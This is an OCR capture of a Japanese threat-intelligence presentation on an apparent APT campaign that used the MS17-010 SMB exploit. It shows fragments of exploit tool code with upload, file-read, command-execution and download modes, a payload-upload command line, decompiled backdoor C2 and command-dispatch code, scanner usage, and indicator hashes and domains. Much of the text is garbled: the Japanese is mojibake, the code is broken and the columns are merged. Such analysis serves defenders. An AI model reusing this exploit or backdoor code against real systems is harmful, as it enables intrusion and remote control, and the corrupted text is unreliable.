beaengine-fork

print('") Fork of BeaEngine
print(’'=== Testing named pipes ===") Worawit Wang ®c K0 V4
for pipe_name, pipe_uuid in pipes.items(): worawit
try:
dce = conn.get_dce_rpc(pipe_name) © Thailand

5 contributions in the last year

dce.connect() Block or report user

t ry May Jun Jul Aug Sep Oct MNov Dec Jan
' |
dce.bind(pipe_uuid, transfer_syntax=NDR64Syntax)
print("{}: ok (64 bit)'.format(pipe_name))
except DCERPCException as e:
if 'transfer_syntaxes_not_supported' in str(e): [ ]
print('{}: ok (32 bit)'.format(pipe_name)) Learn how we count contributions. Less HEN More

else:

print('{}: ok ({})".format(pipe_name, str(e)))

dee. discomect() « TF2VUFT/EEDOI—RZ2RHULTND
o A (CEHEND DAY
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ADICXNTBIYINII7ZD7YvIO—RZULTWS,
Fig. ) 2%\ 27 RPAEIT LI R

tools.exe 192.168.66.50 samr 0 C:¥Windows¥Tasks¥Acrobat.exe
c:¥windows¥tasks¥conhost.exe

MS17-010(CKDRCEZZXE1TI D [tools.exel
EWVWDEXED 71ILZETULTLDB,

5 DER(EIFIHN0DHE
- SB15|20: WRT /A 7\0)IP
- SB25|2%: BRI S/ T
- BB35|E: MR/ A RICEITI DHLEE
0:J7ILD77vITO—R
1: 7 ’l/)l/d)u}ba‘/"HRD

' 2: 0> REAT
localfile: C:¥Windows¥Tasks¥Acrobat.exe 3: 5 //I’) I/d)/;“'j S O—R

rem]?ltefile: c:l¥win.do.ws¥tasks¥conhli)st.exe ) CEABIEY: 7w T O— RIS T 7 L)L
the file to upload: C:¥Windows¥Tasks¥Acrobat.exe CESE|E: 7w FO— RED T 7 L) CZ

[*Jupload sunccess!
[*Jupload file success!

RIHUTWD

Target OS: Windows Server 2012 R2 Standard 9600
Target is 64 bit
Got frag size: 0x20

Done
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pythond—RZEITI 7L IVICEHRU TS,

import socket

import time \J_

mpore tine tools_exec.pyd A

import base6d

filebuf = 'IYEvdXNyL2JpbisweXRob24NCmZivb20gaWlwYWNreXQgaWlwb3JOTHNEYiwge2liY
fecode = baseb4d.bbddecode (filebuf)
exec fcode

$# okay decompiling tools exec.pyc [ IIOM SLroce IMpOre Dack, CHDECR, CNDSCR. Lrom
import sys

import socket

import time

;%]
IJ'_'I

517- exploit for Windows 2 and later by sleepya
- The exploit should newer crash a target (chance should be nearl %
The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
’ - 16 X6
- Pro Build 102 x64
Base64 )
- Wi 1 =64
— ) - Wi 2008 R2 5Pl =&
T:I_ I\ - Wi 7 3P1 x64
- Wi 2008 SP1 =&
- Wi 2003 RZ2 B5P2 =6
- Wi XP 3P2 =64
- Wi 8.1 =8
- Wi T SPF1 =86
- Windows 2008 35P1 =3
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DI — RHGithub LICABEETN TS,

@ github.com/worawit/MS17-010/blob/master/zzz_exploit.py

import time

S17-910 exploit for Windows 2600 and later by sleepya

Note:
I The exploit should never crash a target (chance should be nearly @%)

I The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed

frested on:

b Windows 2016 x64

I Windows 10 Pro Build 10248 x64
- Windows 2812 R2 x64

- Windows 8.1 x64

- Windows 2008 R2 SP1 x64
b Windows 7 SP1 x64

- Windows 2088 SP1 x64

L Windows 2083 R2 SP2 x64
I Windows XP SP2 x64

I Windows 8.1 x86

- Windows 7 SP1 x86

- Windows 2088 SP1 x86

- Windows 2083 SP2 x86 _\\j /} \/r) I/L/j_ pythonj I\ t
e BUIXS MRBENTNG

- Windows 2000 SP4 x86
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@ NTT Security

RRETNTVSY —X (B TE#AZEMETNTWE.

7 )& D2 O— R DEEH

def amb_download file{comn, localSrc, remoteDrive, remotePath):
try:

smkConn =

with open{lccalSrc,

conn.get smbconnection()
'wb') as fp:

#tid? = smbConn.connectIree (remoteDrive+'s")
#fid2 = smbConn.openFile(tid2, remoctePath)
#filebuf=smbConn.readFile (tid2, £id2)
#print filebuf
#fp.write (filebuf)
smbConn.getFile (remoteDrive + ':', remotePath,fp.write)
print '[*]download sunccess!’
except Exceptinn e:

helpZzFRr 9 SEIEX

7 1) % 5+ ER D B ER

def smb_read file(conn, remotelrive, remotePath):

try:
ambConn = conn.get_smboonnection ()
tid? = smbConn.connectIree (remotelrive)
fid? = smblConn.copenFile (tidZ2,remotePath)
#readFile (self,
filebuf=smbkConn.readFile (tid2,£id2)
print "‘\n\n\n'
print filebuf
print "‘n\n\n'

except Excepr.in-n e:

treeld, fileld, offset = 0, bytesToRead =

Hong

def help():
print 'mode--0 wupload the local file! exp:{} <ip> [pipe name] <mode> <localfile> <remotefile>'.format (
print 'mode--1 read remote file! exp:{} <ip> [pipe_name] <mode> <remotefile>"'.format (sys.argv[(0])
print "mode—-2 exec cmd commond! exp:{} <ip> [pipe _name] <mode> <cmdshell>'.format(sys.argv[0])
print 'mode--3 download remote file! exp:{} <ip> [pipe _name] <mode> <remotefile>" . format (sys.argv[0])
fhelp()
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B2 (CEmissary Panda& WS I )IL—JH
FUTDIYV=ILZFBLUEEWSIEERIRS D, 12

paloalto  UNIT/=

METW

Tools Playbooks Speaking Events About Us

Emissary Panda Attacks Middle East Government
Sharepoint Servers

Two of the tools, specifically the compiled zzz exploit.pyand checker.py suggest the actor would check and exploit remote

systems if they were not patched for M517- 01{} which mtcha_d the CVE-2017-01 ‘he use of the
Mimikatz and pwdump tools sugge<ts the ~dvareans attamnte to dump credentials CheCker py able to gather the

command line arguments the acto M S 1 7 O 1 0 imbl.exe. The | -using the SMB
backdoor to attempt to run a batct sing a domain username and the account's password hash:

acted 10.0.0.0/8 IP» <redacted domain®\<redacted username?> :<redacted

c:h\pro gramja:aisxbl.exe <

pas=sword hash> winsk c:\p

54/72



Mm— bR XFv V=)L (®) NTTSecurity

Operation Bitter Biscuith' FIHUTZEWS HEDH DIV —ILE
BJEDEITTVWBIR— M RAF v Y —ILHEl TN,

Fig. ) 28\ O RF7ZMRETLZONV R Fig. ) /R— b RF v 2V —)LICEAT DBEDIKRE3]
. y— 5-1. ZE AJ{H(Port Seanner)
S s.exehERiT=N/c TE ASfLfs BE HES AT T2I2402 2011~20120= T2 0[20| s.exe$iOM, 2015

H0= v3log.exeRiLt. S.exe

<+ Command Prompt

S scanner By | 2012

Usage: s TCP/SYN StartlP [EndIP] Ports [Threads]
[/T(N)] [/(H)Banner] [/Save]

Example: s TCP 12.12.12.12 12.12.12.254 80 512
Example: s TCP 12.12.12.12/24 80 512

Example: s TCP 12.12.12.12/24 80 512 /T8 /Save
Example: s TCP 12.12.12.12 12.12.12.254 80 512
/Hbanner

BEDIE ELART, TJ7AINVARERELRNDOAYE—IHEUED .
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Operation Bitter BiscuitDE{TI)IL—J LHEEETND.
Operation Tick41/

Emissary
. . . [15]
\ Bitter Biscuit _ _ _ _Tonto' 7 _ - Panda
;- | oo I
: CRCH—) Uht ! = 14 [ 1 ; chtecklers.exe |
, | e | | ools.exe :
o . b vs17-010) |
: : I [ I
|
I : o l :
I : [ 1 I
| I T -,
| I : oy
- I . :
: 7\1\77':_ | Nuoxr ] : q;'écfﬁili’.g | :
Bi | ! DEER :
: s.exe : Sone : | : :
| I ____________ | I
I b e e e e e . ... e e e e e e e e e e e = = = == J
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FEROBEEIO M INEZFIBITIRENRR DD DI,
e HTTPZ O NIJL
e TCPLOHMBETO ~IIL

Fig. ) HTTPZO bJL Fig. ) TCPEDMMBEZ O )L
V5 = InternetOpeni(@, @, @, @, 8); vl = select(@, &readfds, @, 0, &timeout);
if (vs) vZ2 = 0;

{ buf = 0;
Buffer = 30000; memset(v13, @, sizeof(viz3));
if ( InternetSetOptionW(v5, 2u, &Buffer, 4u) ) vid = 0
{ vis = @;
v7 = InternetConnectA(v5, lpszServerName, @x50u, 8, @, 3u, 8, 0); A,
v8 = v7; v3 = 6;
Buffer = (int)v7; va = 0;
if (v7) vs = 10;
{ if ( vil)
v9 = HttpOpenRequestA(v7, aPost, lpszObjectName, szVersion, @, @, ©| break;
if (Vo) do
<, . {
if ( HttpSendRequestA(v9, lpszHeaders, @xFFFFFFFF, lpOptional, duw v6 = recv(s, &uf + v4, V5, @);
= i'F ( VG <= @ )
WinlInet APIZF#IBLUTWS {
SetEvent(hEvent);

WinSock APIZF#ALU T3
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® SiEXA
® GiEXA
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switch ( v4[@e] ) switch ( v4[e] ) switch ( vi4 )
{ { {
case 1: case 1: case 2:
gmemcpy (v2, v4, sizeof(v2)); gmemcpy (v2, v4, sizeof(v2)); cmd2_setData0fSendSystemInfo(vis);
ecmdl_sendProcInfo(); cmdl_sendProcInfo(); break;
Sleep(@xFABu); Sleep(@xFA8uU); case 3:
continue; continue; cmd3_sendLocalProcInfo(vi1s);
case 3: case 3: break;
gmemcpy (v2, v4, sizeof(v2)); gmemcpy(v2, v4, sizeof(v2)); case 5:
cmd5_sendTickCount(v15);
case 4: case 4: hraal.
gmemcpy(v2, v4, sizeof(v2)); gmemcpy(v2, v4, sizeof(v2));
cmd4_createCmdExeProc(); cmd4_createCmdExeProc(); °
Sleep(@xFA8u); Sleep(@xFABu);
continue; continue; °
case 5: case 5:
CreateThread(@, @, cmd5_shellExecute_t CreateThread(®, @, cmd5_shellExecute_{ N
case 6: case 6: case 20:
gmemcpy (v2, Va4, sizeof(v2)); qmemcpy (v2, v4, sizeof(v2)); CxxRestoreUnhandledExceptionFilter();
cmd6_execCmdline ( cmd6_execCmdline( break;
— case 21:
case 7: dword_48AD3@ = 1;
isLoopFinish_4@AD9C = 1; SetEvent(hEvent);
. hreak.
break; = 02/72
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ffer = 30000; e T . .
" ( InternetSetOptionW(v5, 2u, &Buffer, 4u) ) dECDdE(EEEbg'thCEG]ggdC_. (ll"'l'tl,

decode(aEabgfhdceqggdc_@, (ir

v7 = InternetConnectA(v5, lpszServerName, ©x5u, ©, ©,

V8 = v7; | . ‘ decode(aCiiu, (int)String);

E;-F-Ee\r;;)(lnt)v?, 7'—\_ l\ﬁ%b‘ . . : . .

{ T>d— RESNTLERLY R— bhESH
I>d—FREncwnd
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unsigned int

{
unsigned int result; // eax
*(_BYTE *)(a5 + 9) = a4;
*(_BYTE *)(a5 + 8) = a3;
result = a2 + 10;
*(_BYTE *)a5 = 10;
*(_BYTE *)(a5 + 1) = 27;
*(_BYTE *)(a5 + 2) = 44;
*(_BYTE *)(a5 + 3) = 61;
*(_DWORD *)(a5 + 4) = a2 + 10;
gmemcpy ((void *)(a5 + 18), al, a2);
return result;

}

__cdecl createSendData(const void *al, unsig

85109 DRI
Fig. ) DR L\ UTZRC 4 THS

XS5 — VR ALIE

knsigned int _ cdecl createSendData(const void *al, unsign

paddingSendDataWithRandomvalue(z5, 4);
*((_BYTE *)a5 + 9) = a4_recvDataNineOffset;
*((_BYTE *)a5 + 8) = a3_cmdid;

@ NTT Security

S DHRIRD

*((LDWORD *)a5 + 1) = a2 + OXA; e
gmemcpy((char *)as + @xA, al, a2);| ="

rc4_prga((int)as + 8, a2 + 2); int v2; // ed
return -2 + OxA; Lns gnadhanta
int v4; // eby

13 char v5; //

unsigned __int
char v7[128];

cdecl rc4_prga(int al, unsigned ir 12

A5 {bnE

= 0;
esult = 0;
4 = 0
gmemcpy(v7, [RC4_SBOX, sizeof(v7));
if ( a2 )
_’ {
do
{
= (v2 + 1) % 128;
vs = v7[v2];
4 = ((unsigned int8)v7[v2] + va4) 128;
6 = v7[v2];
7[v2] = v7[va];
[v4] = v5;
T S o e sl ey
while ( re t < );
}
return re

+ (unsigned int8)v7[v2]) 4 128];
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JrAVE | mds | EE%
csrcc.exe AD3ADC82DB44B1655A921E5FDDOCBB40  www.yandex2unitedstated.dynamic-dns[.]net
Acrobat.exe F10EE63E/77617/DEF660D6CA881A7CFF

, lovehome.zzux[.]Jcom
conime.exe 46C3DBF662B827D898C593CA22F50231
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getwebpass.exe EOC5A23FB845B5089C8527C3FA55082F
conhost.exe 802312F75C4E4214EB7A638AECC48741
checkers.exe 96C2D3AF9E3C2216CD9C9342F82E6CF9
tools.exe 56DF97AE98AAB8200801C3100BC31D26
s.exe E533247F71AATC28E89803D6FE61EESS
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423262F84FCD3EGEEEB6E9898991AC69
46C3DBF662B827D898C593CA22F50231
54E3237ECE37203723F36400963E2DA2
5DAB4EADE11006D7D81A3FOFD8FEOS0F
6E9491D40225995E59194AE/0F174226
6F/FAF801464E2858CE6328EAD6887AB
775A4A957AED69COA907756793DCEC4B
8A9B594A1DA07E7309C9A3613356E5CY
95F941B8D393C515771B1EEBC583FC20
9A484560846BE80D34C/70EFE44069C1A
AA3E738F0A1271C2DC13722B0C2B5D19
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B9471A911A76CAAAACDOD16E6FA55E9B
BEC5BF2BD310B887460103924F13962C
COD5F9B93E/799099DD07342F61C46CD1
CBABCDF63E6B4196F/1DF444A8658EEC
D2D36A668CB1E3E9FODCED3A59B19EC4
E06205CA2C80AD/7870F29DEBFAE6OBE/
E354F8767B7077655C315C210F152947
E6ABT1AEB7C6BA5290309C327EA6DDC58
EAO084CDE17C0167E12B724D2B8CC97/B4
EEBOE9B187BDF25FAB41680952C32DD5
F10EE63E/7761/DEF660D6CA881A7CFF
FEE0O3709C03AD49846A9AF6AA973C27D
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